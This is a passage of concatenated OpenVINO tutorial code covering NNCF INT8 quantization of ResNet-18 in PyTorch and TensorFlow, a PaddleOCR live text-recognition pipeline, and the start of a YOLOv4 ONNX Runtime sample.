    top1 = AverageMeter("Acc@1", ":2.2f")
    top5 = AverageMeter("Acc@5", ":2.2f")
    progress = ProgressMeter(
        len(train_loader), [batch_time, losses, top1, top5], prefix="Epoch:[{}]".format(epoch)
    )

    # switch to train mode
    model.train()

    end = time.time()
    for i, (images, target) in enumerate(train_loader):
        images = images.to(device)
        target = target.to(device)

        # compute output
        output = model(images)
        loss = criterion(output, target)

        # measure accuracy and record loss
        acc1, acc5 = accuracy(output, target, topk=(1, 5))
        losses.update(loss.item(), images.size(0))
        top1.update(acc1[0], images.size(0))
        top5.update(acc5[0], images.size(0))

        # compute gradient and do opt step
        optimizer.zero_grad()
        loss.backward()
        optimizer.step()

        # measure elapsed time
        batch_time.update(time.time() - end)
        end = time.time()

        print_frequency = 50
        if i % print_frequency == 0:
            progress.display(i)

# Validate Function
def validate(val_loader, model, criterion):
    batch_time = AverageMeter("Time", ":3.3f")
    losses = AverageMeter("Loss", ":2.3f")
    top1 = AverageMeter("Acc@1", ":2.2f")
    top5 = AverageMeter("Acc@5", ":2.2f")
    progress = ProgressMeter(len(val_loader), [batch_time, losses, top1, top5], prefix="Test: ")

    # switch to evaluate mode
    model.eval()

    with torch.no_grad():
        end = time.time()
        for i, (images, target) in enumerate(val_loader):
            images = images.to(device)
            target = target.to(device)

            # compute output
            output = model(images)
            loss = criterion(output, target)

            # measure accuracy and record loss
            acc1, acc5 = accuracy(output, target, topk=(1, 5))
            losses.update(loss.item(), images.size(0))
            top1.update(acc1[0], images.size(0))
            top5.update(acc5[0], images.size(0))

            # measure elapsed time
            batch_time.update(time.time() - end)
            end = time.time()

            print_frequency = 10
            if i % print_frequency == 0:
                progress.display(i)

        print(" * Acc@1 {top1.avg:.3f} Acc@5 {top5.avg:.3f}".format(top1=top1, top5=top5))
    return top1.avg

# Helpers
class AverageMeter(object):
    """Computes and stores the average and current value"""

    def __init__(self, name, fmt=":f"):
        self.name = name
        self.fmt = fmt
        self.reset()

    def reset(self):
        self.val = 0
        self.avg = 0
        self.sum = 0
        self.count = 0

    def update(self, val, n=1):
        self.val = val
        self.sum += val * n
        self.count += n
        self.avg = self.sum / self.count

    def __str__(self):
        fmtstr = "{name} {val" + self.fmt + "} ({avg" + self.fmt + "})"
        return fmtstr.format(**self.__dict__)


class ProgressMeter(object):
    def __init__(self, num_batches, meters, prefix=""):
        self.batch_fmtstr = self._get_batch_fmtstr(num_batches)
        self.meters = meters
        self.prefix = prefix

    def display(self, batch):
        entries = [self.prefix + self.batch_fmtstr.format(batch)]
        entries += [str(meter) for meter in self.meters]
        print("\t".join(entries))

    def _get_batch_fmtstr(self, num_batches):
        num_digits = len(str(num_batches // 1))
        fmt = "{:" + str(num_digits) + "d}"
        return "[" + fmt + "/" + fmt.format(num_batches) + "]"


def accuracy(output, target, topk=(1,)):
    """Computes the accuracy over the k top predictions for the specified values of k"""
    with torch.no_grad():
        maxk = max(topk)
        batch_size = target.size(0)

        _, pred = output.topk(maxk, 1, True, True)
        pred = pred.t()
        correct = pred.eq(target.view(1, -1).expand_as(pred))

        res = []
        for k in topk:
            correct_k = correct[:k].reshape(-1).float().sum(0, keepdim=True)
            res.append(correct_k.mul_(100.0 / batch_size))
        return res

# Get a Pre-trained FP32 Model
num_classes = 200  # 200 is for Tiny ImageNet, default is 1000 for ImageNet
init_lr = 1e-4
batch_size = 128
epochs = 4

model = models.resnet18(pretrained=not pretrained_on_tiny_imagenet)
# update the last FC layer for Tiny ImageNet number of classes
model.fc = nn.Linear(in_features=512, out_features=num_classes, bias=True)
model.to(device)

# Data loading code
train_dir = DATASET_DIR / "train"
val_dir = DATASET_DIR / "val"
normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])

train_dataset = datasets.ImageFolder(
    train_dir,
    transforms.Compose(
        [
            transforms.Resize(image_size),
            transforms.RandomHorizontalFlip(),
            transforms.ToTensor(),
            normalize,
        ]
    ),
)
val_dataset = datasets.ImageFolder(
    val_dir,
    transforms.Compose(
        [
            transforms.Resize(image_size),
            transforms.ToTensor(),
            normalize,
        ]
    ),
)

train_loader = torch.utils.data.DataLoader(
    train_dataset, batch_size=batch_size, shuffle=True, num_workers=4, pin_memory=True, sampler=None
)

val_loader = torch.utils.data.DataLoader(
    val_dataset, batch_size=batch_size, shuffle=False, num_workers=4, pin_memory=True
)

# define loss function (criterion) and optimizer
criterion = nn.CrossEntropyLoss().to(device)
optimizer = torch.optim.Adam(model.parameters(), lr=init_lr)

if pretrained_on_tiny_imagenet:
    #
    # ** WARNING: torch.load functionality uses Python's pickling module that
    # may be used to perform arbitrary code execution during unpickling. Only load data that you
    # trust.
    #
    checkpoint = torch.load(str(fp32_pth_path), map_location="cpu")
    model.load_state_dict(checkpoint["state_dict"], strict=True)
    acc1_fp32 = checkpoint["acc1"]
else:
    best_acc1 = 0
    # Training loop
    for epoch in range(0, epochs):
        # run a single training epoch
        train(train_loader, model, criterion, optimizer, epoch)

        # evaluate on validation set
        acc1 = validate(val_loader, model, criterion)

        is_best = acc1 > best_acc1
        best_acc1 = max(acc1, best_acc1)

        if is_best:
            checkpoint = {"state_dict": model.state_dict(), "acc1": acc1}
            torch.save(checkpoint, fp32_pth_path)
    acc1_fp32 = best_acc1
    
print(f"Accuracy of FP32 model: {acc1_fp32:.3f}")

dummy_input = torch.randn(1, 3, image_size, image_size).to(device)

torch.onnx.export(model, dummy_input, fp32_onnx_path)
print(f"FP32 ONNX model was exported to {fp32_onnx_path}.")

# Create and Initialize Quantization
nncf_config_dict = {
    "input_info": {"sample_size": [1, 3, image_size, image_size]},
    "log_dir": str(OUTPUT_DIR),  # log directory for NNCF-specific logging outputs
    "compression": {
        "algorithm": "quantization",  # specify the algorithm here
    },
}
nncf_config = NNCFConfig.from_dict(nncf_config_dict)

nncf_config = register_default_init_args(nncf_config, train_loader)
compression_ctrl, model = create_compressed_model(model, nncf_config)
acc1 = validate(val_loader, model, criterion)
print(f"Accuracy of initialized INT8 model: {acc1:.3f}")

# Fine-tune the Compressed Model
compression_lr = init_lr / 10
optimizer = torch.optim.Adam(model.parameters(), lr=compression_lr)

# train for one epoch with NNCF
train(train_loader, model, criterion, optimizer, epoch=0)

# evaluate on validation set after Quantization-Aware Training (QAT case)
acc1_int8 = validate(val_loader, model, criterion)

print(f"Accuracy of tuned INT8 model: {acc1_int8:.3f}")
print(f"Accuracy drop of tuned INT8 model over pre-trained FP32 model: {acc1_fp32 - acc1_int8:.3f}")

# Export INT8 Model to ONNX
if not int8_onnx_path.exists():
    warnings.filterwarnings("ignore", category=TracerWarning)
    warnings.filterwarnings("ignore", category=UserWarning)
    # Export INT8 model to ONNX that is supported by the OpenVINO™ toolkit
    compression_ctrl.export_model(int8_onnx_path)
    print(f"INT8 ONNX model exported to {int8_onnx_path}.")

# Convert ONNX models to OpenVINO Intermediate Representation (IR)
if not fp32_ir_path.exists():
    !mo --input_model $fp32_onnx_path --input_shape "[1,3, $image_size, $image_size]" --mean_values "[123.675, 116.28 , 103.53]" --scale_values "[58.395, 57.12 , 57.375]" --data_type FP16 --output_dir $OUTPUT_DIR

if not int8_ir_path.exists():
    !mo --input_model $int8_onnx_path --input_shape "[1,3, $image_size, $image_size]" --mean_values "[123.675, 116.28 , 103.53]" --scale_values "[58.395, 57.12 , 57.375]" --data_type FP16 --output_dir $OUTPUT_DIR

# Benchmark Model Performance by Computing Inference Time
def parse_benchmark_output(benchmark_output):
    parsed_output = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line == "")]
    print(*parsed_output, sep='\n')


print('Benchmark FP32 model (IR)')
benchmark_output = ! benchmark_app -m $fp32_ir_path -d CPU -api async -t 15
parse_benchmark_output(benchmark_output)

print('Benchmark INT8 model (IR)')
benchmark_output = ! benchmark_app -m $int8_ir_path -d CPU -api async -t 15
parse_benchmark_output(benchmark_output)

# Show CPU Information for reference
ie = Core()
ie.get_property(device_name="CPU", name="FULL_DEVICE_NAME")
# Imports and Settings
from pathlib import Path
import logging

import tensorflow as tf
import tensorflow_datasets as tfds
from tensorflow.python.keras import layers
from tensorflow.python.keras import models

from nncf import NNCFConfig
from nncf.tensorflow.helpers.model_creation import create_compressed_model
from nncf.tensorflow.initialization import register_default_init_args
from nncf.common.utils.logger import set_log_level

set_log_level(logging.ERROR)

MODEL_DIR = Path("model")
OUTPUT_DIR = Path("output")
MODEL_DIR.mkdir(exist_ok=True)
OUTPUT_DIR.mkdir(exist_ok=True)

BASE_MODEL_NAME = "ResNet-18"

fp32_h5_path = Path(MODEL_DIR / (BASE_MODEL_NAME + "_fp32")).with_suffix(".h5")
fp32_sm_path = Path(OUTPUT_DIR / (BASE_MODEL_NAME + "_fp32"))
fp32_ir_path = Path(OUTPUT_DIR / "saved_model").with_suffix(".xml")
int8_pb_path = Path(OUTPUT_DIR / (BASE_MODEL_NAME + "_int8")).with_suffix(".pb")
int8_pb_name = Path(BASE_MODEL_NAME + "_int8").with_suffix(".pb")
int8_ir_path = int8_pb_path.with_suffix(".xml")

BATCH_SIZE = 128
IMG_SIZE = (64, 64)  # Default Imagenet image size
NUM_CLASSES = 10  # For Imagenette dataset

LR = 1e-5

MEAN_RGB = (0.485 * 255, 0.456 * 255, 0.406 * 255)  # From Imagenet dataset
STDDEV_RGB = (0.229 * 255, 0.224 * 255, 0.225 * 255)  # From Imagenet dataset

fp32_pth_url = "https://storage.openvinotoolkit.org/repositories/nncf/openvino_notebook_ckpts/305_resnet18_imagenette_fp32_v1.h5"
_ = tf.keras.utils.get_file(fp32_h5_path.resolve(), fp32_pth_url)
print(f'Absolute path where the model weights are saved:\n {fp32_h5_path.resolve()}')

# Dataset Preprocessing
datasets, datasets_info = tfds.load('imagenette/160px', shuffle_files=True, as_supervised=True, with_info=True,
                                    read_config=tfds.ReadConfig(shuffle_seed=0))
train_dataset, validation_dataset = datasets['train'], datasets['validation']
fig = tfds.show_examples(train_dataset, datasets_info)

def preprocessing(image, label):
    image = tf.image.resize(image, IMG_SIZE)
    image = image - MEAN_RGB
    image = image / STDDEV_RGB
    label = tf.one_hot(label, NUM_CLASSES)
    return image, label


train_dataset = (train_dataset.map(preprocessing, num_parallel_calls=tf.data.experimental.AUTOTUNE)
                              .batch(BATCH_SIZE)
                              .prefetch(tf.data.experimental.AUTOTUNE))

validation_dataset = (validation_dataset.map(preprocessing, num_parallel_calls=tf.data.experimental.AUTOTUNE)
                                        .batch(BATCH_SIZE)
                                        .prefetch(tf.data.experimental.AUTOTUNE))

# Define a Floating-Point Model
def residual_conv_block(filters, stage, block, strides=(1, 1), cut='pre'):
    def layer(input_tensor):
        x = layers.BatchNormalization(epsilon=2e-5)(input_tensor)
        x = layers.Activation('relu')(x)

        # defining shortcut connection
        if cut == 'pre':
            shortcut = input_tensor
        elif cut == 'post':
            shortcut = layers.Conv2D(filters, (1, 1), strides=strides, kernel_initializer='he_uniform', 
                                     use_bias=False)(x)

        # continue with convolution layers
        x = layers.ZeroPadding2D(padding=(1, 1))(x)
        x = layers.Conv2D(filters, (3, 3), strides=strides, kernel_initializer='he_uniform', use_bias=False)(x)

        x = layers.BatchNormalization(epsilon=2e-5)(x)
        x = layers.Activation('relu')(x)
        x = layers.ZeroPadding2D(padding=(1, 1))(x)
        x = layers.Conv2D(filters, (3, 3), kernel_initializer='he_uniform', use_bias=False)(x)

        # add residual connection
        x = layers.Add()([x, shortcut])
        return x

    return layer


def ResNet18(input_shape=None):
    """Instantiates the ResNet18 architecture."""
    img_input = layers.Input(shape=input_shape, name='data')

    # ResNet18 bottom
    x = layers.BatchNormalization(epsilon=2e-5, scale=False)(img_input)
    x = layers.ZeroPadding2D(padding=(3, 3))(x)
    x = layers.Conv2D(64, (7, 7), strides=(2, 2), kernel_initializer='he_uniform', use_bias=False)(x)
    x = layers.BatchNormalization(epsilon=2e-5)(x)
    x = layers.Activation('relu')(x)
    x = layers.ZeroPadding2D(padding=(1, 1))(x)
    x = layers.MaxPooling2D((3, 3), strides=(2, 2), padding='valid')(x)

    # ResNet18 body
    repetitions = (2, 2, 2, 2)
    for stage, rep in enumerate(repetitions):
        for block in range(rep):
            filters = 64 * (2 ** stage)
            if block == 0 and stage == 0:
                x = residual_conv_block(filters, stage, block, strides=(1, 1), cut='post')(x)
            elif block == 0:
                x = residual_conv_block(filters, stage, block, strides=(2, 2), cut='post')(x)
            else:
                x = residual_conv_block(filters, stage, block, strides=(1, 1), cut='pre')(x)
    x = layers.BatchNormalization(epsilon=2e-5)(x)
    x = layers.Activation('relu')(x)

    # ResNet18 top
    x = layers.GlobalAveragePooling2D()(x)
    x = layers.Dense(NUM_CLASSES)(x)
    x = layers.Activation('softmax')(x)

    # Create model
    model = models.Model(img_input, x)

    return model

IMG_SHAPE = IMG_SIZE + (3,)
model = ResNet18(input_shape=IMG_SHAPE)

# Pre-train Floating-Point Model
# Load the floating-point weights
model.load_weights(fp32_h5_path)

# Compile the floating-point model
model.compile(loss=tf.keras.losses.CategoricalCrossentropy(label_smoothing=0.1),
              metrics=[tf.keras.metrics.CategoricalAccuracy(name='acc@1')])

# Validate the floating-point model
test_loss, acc_fp32 = model.evaluate(validation_dataset,
                                     callbacks=tf.keras.callbacks.ProgbarLogger(stateful_metrics=['acc@1']))
print(f"\nAccuracy of FP32 model: {acc_fp32:.3f}")

model.save(fp32_sm_path)
print(f'Absolute path where the model is saved:\n {fp32_sm_path.resolve()}')

# Create and Initialize Quantization
nncf_config_dict = {
    "input_info": {"sample_size": [1, 3] + list(IMG_SIZE)},
    "log_dir": str(OUTPUT_DIR),  # log directory for NNCF-specific logging outputs
    "compression": {
        "algorithm": "quantization",  # specify the algorithm here
    },
}
nncf_config = NNCFConfig.from_dict(nncf_config_dict)

nncf_config = register_default_init_args(nncf_config=nncf_config,
                                         data_loader=train_dataset,
                                         batch_size=BATCH_SIZE)

compression_ctrl, model = create_compressed_model(model, nncf_config)

# Compile the int8 model
model.compile(optimizer=tf.keras.optimizers.Adam(lr=LR),
              loss=tf.keras.losses.CategoricalCrossentropy(label_smoothing=0.1),
              metrics=[tf.keras.metrics.CategoricalAccuracy(name='acc@1')])

# Validate the int8 model
test_loss, test_acc = model.evaluate(validation_dataset,
                                     callbacks=tf.keras.callbacks.ProgbarLogger(stateful_metrics=['acc@1']))
print(f"\nAccuracy of INT8 model after initialization: {test_acc:.3f}")

# Fine-tune the Compressed Model
# Train the int8 model
model.fit(train_dataset,
          epochs=2)

# Validate the int8 model
test_loss, acc_int8 = model.evaluate(validation_dataset,
                                     callbacks=tf.keras.callbacks.ProgbarLogger(stateful_metrics=['acc@1']))
print(f"\nAccuracy of INT8 model after fine-tuning: {acc_int8:.3f}")
print(f"\nAccuracy drop of tuned INT8 model over pre-trained FP32 model: {acc_fp32 - acc_int8:.3f}")

compression_ctrl.export_model(int8_pb_path, 'frozen_graph')
print(f'Absolute path where the int8 model is saved:\n {int8_pb_path.resolve()}')

# Export Frozen Graph Models to OpenVINO Intermediate Representation (IR)
!mo --framework=tf --input_shape=[1,64,64,3] --input=data --saved_model_dir=$fp32_sm_path --output_dir=$OUTPUT_DIR

!mo --framework=tf --input_shape=[1,64,64,3] --input=Placeholder --input_model=$int8_pb_path --output_dir=$OUTPUT_DIR

# Benchmark Model Performance by Computing Inference Time
def parse_benchmark_output(benchmark_output):
    parsed_output = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line == "")]
    print(*parsed_output, sep='\n')


print('Benchmark FP32 model (IR)')
benchmark_output = ! benchmark_app -m $fp32_ir_path -d CPU -api async -t 15
parse_benchmark_output(benchmark_output)

print('\nBenchmark INT8 model (IR)')
benchmark_output = ! benchmark_app -m $int8_ir_path -d CPU -api async -t 15
parse_benchmark_output(benchmark_output)

# Show CPU Information for reference
from openvino.runtime import Core

ie = Core()
ie.get_property(device_name='CPU', name="FULL_DEVICE_NAME")
# Imports
import sys
import os
import cv2
import numpy as np
import paddle
import math
import time
import collections
from PIL import Image
from pathlib import Path
import tarfile
import urllib.request

from openvino.runtime import Core
from IPython import display
import copy

sys.path.append("../utils")
import notebook_utils as utils
import pre_post_processing as processing

# Models for PaddleOCR
# Define the function to download text detection and recognition models from PaddleOCR resources

def run_model_download(model_url, model_file_path):
    """
    Download pre-trained models from PaddleOCR resources

    Parameters:
        model_url: url link to pre-trained models
        model_file_path: file path to store the downloaded model
    """
    model_name = model_url.split("/")[-1]
    
    if model_file_path.is_file(): 
        print("Model already exists")
    else:
        # Download the model from the server, and untar it.
        print("Downloading the pre-trained model... May take a while...")

        # create a directory
        os.makedirs("model", exist_ok=True)
        urllib.request.urlretrieve(model_url, f"model/{model_name} ")
        print("Model Downloaded")

        file = tarfile.open(f"model/{model_name} ")
        res = file.extractall("model")
        file.close()
        if not res:
            print(f"Model Extracted to {model_file_path}.")
        else:
            print("Error Extracting the model. Please check the network.")

# Download the Model for Text Detection
# Directory where model will be downloaded

det_model_url = "https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_det_infer.tar"
det_model_file_path = Path("model/ch_ppocr_mobile_v2.0_det_infer/inference.pdmodel")

run_model_download(det_model_url, det_model_file_path)

# Load the Model for Text Detection
# initialize inference engine for text detection
core = Core()
det_model = core.read_model(model=det_model_file_path)
det_compiled_model = core.compile_model(model=det_model, device_name="CPU")

# get input and output nodes for text detection
det_input_layer = det_compiled_model.input(0)
det_output_layer = det_compiled_model.output(0)

# Download the Model for Text Recognition
rec_model_url = "https://paddleocr.bj.bcebos.com/dygraph_v2.0/ch/ch_ppocr_mobile_v2.0_rec_infer.tar"
rec_model_file_path = Path("model/ch_ppocr_mobile_v2.0_rec_infer/inference.pdmodel")

run_model_download(rec_model_url, rec_model_file_path)

# Load the Model for Text Recognition with Dynamic Shape
# read the model and corresponding weights from file
rec_model = core.read_model(model=rec_model_file_path)

# assign dynamic shapes to every input layer on the last dimension
for input_layer in rec_model.inputs:
    input_shape = input_layer.partial_shape
    input_shape[3] = -1
    rec_model.reshape({input_layer: input_shape})

rec_compiled_model = core.compile_model(model=rec_model, device_name="CPU")

# get input and output nodes
rec_input_layer = rec_compiled_model.input(0)
rec_output_layer = rec_compiled_model.output(0)

# Preprocessing image functions for text detection and recognition
# Preprocess for text detection
def image_preprocess(input_image, size):
    """
    Preprocess input image for text detection

    Parameters:
        input_image: input image 
        size: value for the image to be resized for text detection model
    """
    img = cv2.resize(input_image, (size, size))
    img = np.transpose(img, [2, 0, 1]) / 255
    img = np.expand_dims(img, 0)
    # NormalizeImage: {mean: [0.485, 0.456, 0.406], std: [0.229, 0.224, 0.225], is_scale: True}
    img_mean = np.array([0.485, 0.456, 0.406]).reshape((3, 1, 1))
    img_std = np.array([0.229, 0.224, 0.225]).reshape((3, 1, 1))
    img -= img_mean
    img /= img_std
    return img.astype(np.float32)

# Preprocess for text recognition
def resize_norm_img(img, max_wh_ratio):
    """
    Resize input image for text recognition

    Parameters:
        img: bounding box image from text detection 
        max_wh_ratio: value for the resizing for text recognition model
    """
    rec_image_shape = [3, 32, 320]
    imgC, imgH, imgW = rec_image_shape
    assert imgC == img.shape[2]
    character_type = "ch"
    if character_type == "ch":
        imgW = int((32 * max_wh_ratio))
    h, w = img.shape[:2]
    ratio = w / float(h)
    if math.ceil(imgH * ratio) > imgW:
        resized_w = imgW
    else:
        resized_w = int(math.ceil(imgH * ratio))
    resized_image = cv2.resize(img, (resized_w, imgH))
    resized_image = resized_image.astype('float32')
    resized_image = resized_image.transpose((2, 0, 1)) / 255
    resized_image -= 0.5
    resized_image /= 0.5
    padding_im = np.zeros((imgC, imgH, imgW), dtype=np.float32)
    padding_im[:, :, 0:resized_w] = resized_image
    return padding_im


def prep_for_rec(dt_boxes, frame):
    """
    Preprocessing of the detected bounding boxes for text recognition

    Parameters:
        dt_boxes: detected bounding boxes from text detection 
        frame: original input frame 
    """
    ori_im = frame.copy()
    img_crop_list = [] 
    for bno in range(len(dt_boxes)):
        tmp_box = copy.deepcopy(dt_boxes[bno])
        img_crop = processing.get_rotate_crop_image(ori_im, tmp_box)
        img_crop_list.append(img_crop)
        
    img_num = len(img_crop_list)
    # Calculate the aspect ratio of all text bars
    width_list = []
    for img in img_crop_list:
        width_list.append(img.shape[1] / float(img.shape[0]))
    
    # Sorting can speed up the recognition process
    indices = np.argsort(np.array(width_list))
    return img_crop_list, img_num, indices


def batch_text_box(img_crop_list, img_num, indices, beg_img_no, batch_num):
    """
    Batch for text recognition

    Parameters:
        img_crop_list: processed detected bounding box images 
        img_num: number of bounding boxes from text detection
        indices: sorting for bounding boxes to speed up text recognition
        beg_img_no: the beginning number of bounding boxes for each batch of text recognition inference
        batch_num: number of images for each batch
    """
    norm_img_batch = []
    max_wh_ratio = 0
    end_img_no = min(img_num, beg_img_no + batch_num)
    for ino in range(beg_img_no, end_img_no):
        h, w = img_crop_list[indices[ino]].shape[0:2]
        wh_ratio = w * 1.0 / h
        max_wh_ratio = max(max_wh_ratio, wh_ratio)
    for ino in range(beg_img_no, end_img_no):
        norm_img = resize_norm_img(img_crop_list[indices[ino]], max_wh_ratio)
        norm_img = norm_img[np.newaxis, :]
        norm_img_batch.append(norm_img)

    norm_img_batch = np.concatenate(norm_img_batch)
    norm_img_batch = norm_img_batch.copy()
    return norm_img_batch

# Postprocessing image for text detection
def post_processing_detection(frame, det_results):
    """
    Postprocess the results from text detection into bounding boxes

    Parameters:
        frame: input image 
        det_results: inference results from text detection model
    """   
    ori_im = frame.copy()
    data = {'image': frame}
    data_resize = processing.DetResizeForTest(data)
    data_list = []
    keep_keys = ['image', 'shape']
    for key in keep_keys:
        data_list.append(data_resize[key])
    img, shape_list = data_list

    shape_list = np.expand_dims(shape_list, axis=0) 
    pred = det_results[0]    
    if isinstance(pred, paddle.Tensor):
        pred = pred.numpy()
    segmentation = pred > 0.3

    boxes_batch = []
    for batch_index in range(pred.shape[0]):
        src_h, src_w, ratio_h, ratio_w = shape_list[batch_index]
        mask = segmentation[batch_index]
        boxes, scores = processing.boxes_from_bitmap(pred[batch_index], mask, src_w, src_h)
        boxes_batch.append({'points': boxes})
    post_result = boxes_batch
    dt_boxes = post_result[0]['points']
    dt_boxes = processing.filter_tag_det_res(dt_boxes, ori_im.shape)    
    return dt_boxes

# Main processing function for PaddleOCR
def run_paddle_ocr(source=0, flip=False, use_popup=False, skip_first_frames=0):
    """
    Main function to run the paddleOCR inference:
    1. Create a video player to play with target fps (utils.VideoPlayer).
    2. Prepare a set of frames for text detection and recognition.
    3. Run AI inference for both text detection and recognition.
    4. Visualize the results.

    Parameters:
        source: the webcam number to feed the video stream with primary webcam set to "0", or the video path.  
        flip: to be used by VideoPlayer function for flipping capture image
        use_popup: False for showing encoded frames over this notebook, True for creating a popup window.
        skip_first_frames: Number of frames to skip at the beginning of the video. 
    """
    # create video player to play with target fps
    player = None
    try:
        player = utils.VideoPlayer(source=source, flip=flip, fps=30, skip_first_frames=skip_first_frames)
        # Start video capturing
        player.start()
        if use_popup:
            title = "Press ESC to Exit"
            cv2.namedWindow(winname=title, flags=cv2.WINDOW_GUI_NORMAL | cv2.WINDOW_AUTOSIZE)

        processing_times = collections.deque()
        while True:
            # grab the frame
            frame = player.next()
            if frame is None:
                print("Source ended")
                break
            # if frame larger than full HD, reduce size to improve the performance
            scale = 1280 / max(frame.shape)
            if scale < 1:
                frame = cv2.resize(src=frame, dsize=None, fx=scale, fy=scale,
                                   interpolation=cv2.INTER_AREA)
            # preprocess image for text detection
            test_image = image_preprocess(frame, 640)
                
            # measure processing time for text detection
            start_time = time.time()
            # perform the inference step
            det_results = det_compiled_model([test_image])[det_output_layer]
            stop_time = time.time()

            # Postprocessing for Paddle Detection
            dt_boxes = post_processing_detection(frame, det_results)

            processing_times.append(stop_time - start_time)
            # use processing times from last 200 frames
            if len(processing_times) > 200:
                processing_times.popleft()
            processing_time_det = np.mean(processing_times) * 1000

            # Preprocess detection results for recognition
            dt_boxes = processing.sorted_boxes(dt_boxes)  
            batch_num = 6
            img_crop_list, img_num, indices = prep_for_rec(dt_boxes, frame)
            
            # For storing recognition results, include two parts:
            # txts are the recognized text results, scores are the recognition confidence level 
            rec_res = [['', 0.0]] * img_num
            txts = [] 
            scores = []

            for beg_img_no in range(0, img_num, batch_num):

                # Recognition starts from here
                norm_img_batch = batch_text_box(
                    img_crop_list, img_num, indices, beg_img_no, batch_num)

                # Run inference for text recognition 
                rec_results = rec_compiled_model([norm_img_batch])[rec_output_layer]

                # Postprocessing recognition results
                postprocess_op = processing.build_post_process(processing.postprocess_params)
                rec_result = postprocess_op(rec_results)
                for rno in range(len(rec_result)):
                    rec_res[indices[beg_img_no + rno]] = rec_result[rno]   
                if rec_res:
                    txts = [rec_res[i][0] for i in range(len(rec_res))] 
                    scores = [rec_res[i][1] for i in range(len(rec_res))]
                                   
            image = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))
            boxes = dt_boxes
            # draw text recognition results beside the image
            draw_img = processing.draw_ocr_box_txt(
                image,
                boxes,
                txts,
                scores,
                drop_score=0.5)

            # Visualize PaddleOCR results
            f_height, f_width = draw_img.shape[:2]
            fps = 1000 / processing_time_det
            cv2.putText(img=draw_img, text=f"Inference time: {processing_time_det:.1f}ms ({fps:.1f} FPS)", 
                        org=(20, 40),fontFace=cv2.FONT_HERSHEY_COMPLEX, fontScale=f_width / 1000,
                        color=(0, 0, 255), thickness=1, lineType=cv2.LINE_AA)
            
            # use this workaround if there is flickering
            if use_popup: 
                draw_img = cv2.cvtColor(draw_img, cv2.COLOR_RGB2BGR)
                cv2.imshow(winname=title, mat=draw_img)
                key = cv2.waitKey(1)
                # escape = 27
                if key == 27:
                    break
            else:
                # encode numpy array to jpg
                draw_img = cv2.cvtColor(draw_img, cv2.COLOR_RGB2BGR)
                _, encoded_img = cv2.imencode(ext=".jpg", img=draw_img,
                                              params=[cv2.IMWRITE_JPEG_QUALITY, 100])
                # create IPython image
                i = display.Image(data=encoded_img)
                # display the image in this notebook
                display.clear_output(wait=True)
                display.display(i)
            
    # ctrl-c
    except KeyboardInterrupt:
        print("Interrupted")
    # any different error
    except RuntimeError as e:
        print(e)
    finally:
        if player is not None:
            # stop capturing
            player.stop()
        if use_popup:
            cv2.destroyAllWindows()

# Run Live PaddleOCR with OpenVINO
run_paddle_ocr(source=0, flip=False, use_popup=False)

# Test OCR results on video file

video_file = "https://raw.githubusercontent.com/yoyowz/classification/master/images/test.mp4"
run_paddle_ocr(source=video_file, flip=False, use_popup=False, skip_first_frames=0)
# pip3 install openvino
 
# Install ONNX Runtime for OpenVINO™ Execution Provider
# pip3 install onnxruntime-openvino==1.11.0
 
# pip3 install -r requirements.txt
# Running the ONNXRuntime OpenVINO™ Execution Provider sample
# python3 yolov4.py --device CPU_FP32 --video classroom.mp4 --model yolov4.onnx

'''
Copyright (C) 2021-2022, Intel Corporation
SPDX-License-Identifier: Apache-2.0
Major Portions of this code are copyright of their respective authors and released under the Apache License Version 2.0:
- onnx, Copyright 2021-2022. For licensing see https://github.com/onnx/models/blob/master/LICENSE
'''

import cv2
import numpy as np
from onnx import numpy_helper
import onnx
import onnxruntime as rt
import os
from PIL import Image
from scipy import special
import colorsys
import random
import argparse
import sys
import time
import platform

if platform.system() == "Windows":
    from openvino import utils
    utils.add_openvino_libs_to_path()

def image_preprocess(image, target_size, gt_boxes=None):

    ih, iw = target_size
    h, w, _ = image.shape

    scale = min(iw/w, ih/h)
    nw, nh = int(scale * w), int(scale * h)
    image_resized = cv2.resize(image, (nw, nh))

    image_padded = np.full(shape=[ih, iw, 3], fill_value=128.0)
    dw, dh = (iw - nw) // 2, (ih-nh) // 2
    image_padded[dh:nh+dh, dw:nw+dw, :] = image_resized
    image_padded = image_padded / 255.

    if gt_boxes is None:
        return image_padded

    else:
        gt_boxes[:, [0, 2]] = gt_boxes[:, [0, 2]] * scale + dw
        gt_boxes[:, [1, 3]] = gt_boxes[:, [1, 3]] * scale + dh
        return image_padded, gt_boxes

def postprocess_bbbox(pred_bbox):
    '''define anchor boxes'''
    for i, pred in enumerate(pred_bbox):
        conv_shape = pred.shape
        output_size = conv_shape[1]
        conv_raw_dxdy = pred[:, :, :, :, 0:2]
        conv_raw_dwdh = pred[:, :, :, :, 2:4]
        xy_grid = np.meshgrid(np.arange(output_size), np.arange(output_size))
        xy_grid = np.expand_dims(np.stack(xy_grid, axis=-1), axis=2)

        xy_grid = np.tile(np.expand_dims(xy_grid, axis=0), [1, 1, 1, 3, 1])
        xy_grid = xy_grid.astype(float)

        pred_xy = ((special.expit(conv_raw_dxdy) * XYSCALE[i]) - 0.5 * (XYSCALE[i] - 1) + xy_grid) * STRIDES[i]
        pred_wh = (np.exp(conv_raw_dwdh) * ANCHORS[i])
        pred[:, :, :, :, 0:4] = np.concatenate([pred_xy, pred_wh], axis=-1)

    pred_bbox = [np.reshape(x, (-1, np.shape(x)[-1])) for x in pred_bbox]
    pred_bbox = np.concatenate(pred_bbox, axis=0)
    return pred_bbox

def postprocess_boxes(pred_bbox, org_img_shape, input_size, score_threshold):
    '''remove boundary boxs with a low detection probability'''
    valid_scale=[0, np.inf]
    pred_bbox = np.array(pred_bbox)

    pred_xywh = pred_bbox[:, 0:4]
    pred_conf = pred_bbox[:, 4]
    pred_prob = pred_bbox[:, 5:]

    # # (1) (x, y, w, h) --> (xmin, ymin, xmax, ymax)
    pred_coor = np.concatenate([pred_xywh[:, :2] - pred_xywh[:, 2:] * 0.5,
                                pred_xywh[:, :2] + pred_xywh[:, 2:] * 0.5], axis=-1)
    # # (2) (xmin, ymin, xmax, ymax) -> (xmin_org, ymin_org, xmax_org, ymax_org)
    org_h, org_w = org_img_shape
    resize_ratio = min(input_size / org_w, input_size / org_h)

